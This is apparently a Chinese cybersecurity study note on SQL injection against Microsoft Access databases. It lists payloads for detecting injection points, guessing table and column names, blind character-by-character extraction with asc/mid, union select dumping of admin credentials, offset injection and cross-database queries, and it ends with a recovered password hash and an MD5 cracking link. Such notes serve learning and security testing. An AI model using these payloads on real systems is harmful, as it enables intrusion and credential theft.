网络安全-Day24-Access数据库注入

一、判断是否有注入点

1、方法1:(在 id=4,后面输入一个单引号)如果有保存则说明存在注入点。

2、方法2:(id = 4后面输入 and 1=1)SQL为true不会报错,(id = 4后面输入 and 1=2)SQL为false会报错。(说明有注入点)

二、猜测数据库表

正常情况情况下:一般可以通过brup 抓包加载数据字段进行暴力猜测数据库名称。

1、输入数据库有可能存在的表名称进行猜测(如:user、users、anmin、administrator等)

2、输入表名:users进行查询(and exists(select * from users))

and exists(select * from users)

3、输入表名:admin进行查询(and exists(select * from admin))

4、输入表名:administrator进行查询(and exists(select * from administrator)),没有报错,说明有administrator 这个表。

三、猜测 administrator表的字段名称

1、输入字段名称:user进行查询(and exists(select user from administrator))

2、输入字段名称:user_name进行查询(and exists(select user_name from administrator)),执行完之后系统没有报错,说明我们把“user_name”的字段名称爆破错来了。

四、猜测用户名长度

简述:在猜测的时候 可以使用>、=、<符号进行猜测。

1、猜测用户名长度为“1”(and (select top 1 len(user_name) from administrator)=1)

2、猜测用户名长度为“3”(and (select top 1 len(user_name) from administrator)=3)

3、猜测用户名长度为“5”(and (select top 1 len(user_name) from administrator)=5),猜通过猜测,字段长度为“5”。(在不知道长度范围的情况,可以先用>and<符号缩小猜测范围)

五、猜字段内容(Asc码)

简介: ①使用Asc码猜测 ,猜测出后使用Asc解码

            ②值大于0 ,字段值应该为字母,如果是小于0那么说明是汉字。

1、使用Asc码猜测用户名的第一个字(and (select top 1 asc(mid(user_name,1,1)) from administrator)>0)(没有报错继续猜)

2、使用Asc码猜测用户名的第一个字(and (select top 1 asc(mid(user_name,1,1)) from administrator)>96)(没有报错继续猜)

3、使用Asc码猜测用户名的第一个字(and (select top 1 asc(mid(user_name,1,1)) from administrator)<98)(返回正常继续猜)

4、使用Asc码猜测用户名的第一个字(and (select top 1 asc(mid(user_name,1,1)) from administrator)>97)(输入Asc码为97时报错,使用Asc解码得出第一个字为“a”)

4、使用Asc码猜测用户名的第二个字(and (select top 1 asc(mid(user_name,2,1)) from administrator)>97)(输入Asc码为97时报错,使用Asc解码得出第2个字为“d”)

    4.1、按照此方发猜测,直到把 admin 五个字全部猜测出来。

②用同样的方法,可猜解user_name字段值和password值,最终得到如下结果([user_name]:admin、[password]:21232f297a57a5a743894a0e4a801fc3)

    4.2、用同样的方法,可猜解password值,最终得到如下结果(password:21232f297a57a5a743894a0e4a801fc3)

MD5在线解码:https://www.somd5.com/

六、判断主查询字段有多少个

1、判断主查询字段个数(order by 1)

2、判断主查询字段个数,我们测试(order by x),order by 5的时候报错了,所以该表一共 4个主查询字段。

七、union select 查询攻击测试(次方法不需要通过Asc码去猜测字段内容)

1、通过联合查询从“步骤六”中的到的这“4”个字段里面去查询administrator表里面那些是可写的数字

2、通过查询关联查询得出,第2、3个字段为可写数字。(and 1=2 union select 1,2,3,4 from administrator)

3、通过查询语句可以查询出,用户名和密码(and 1=2 union select 1,user_name,password,4 from administrator)

八、偏移注入

简介:偏移注入是针对Access数据库,当我们注入猜到数据库表名确猜不到列名的情况下,这种方法就可以帮我们填补。(注:这种方法运气很重要)

1、通过查询得知第2、3个字段为可写数字,并查询出了password(UNION SELECT 1,2,3,4,* from administrator)

2、(UNION SELECT 1, a.id,b.id, * from (administrator as a inner joinadministrator as b on a.id=b.id))

九、注入跨库查询

1、查询的是图1中网站的数据库(UNION SELECT 1,adminpassword,username,4,5,6,7 from [C:\wwwtest\2AspCMS\AspCms_data\data.asp].Aspcms_Admins)

你可能感兴趣的:(网络安全-Day24-Access数据库注入)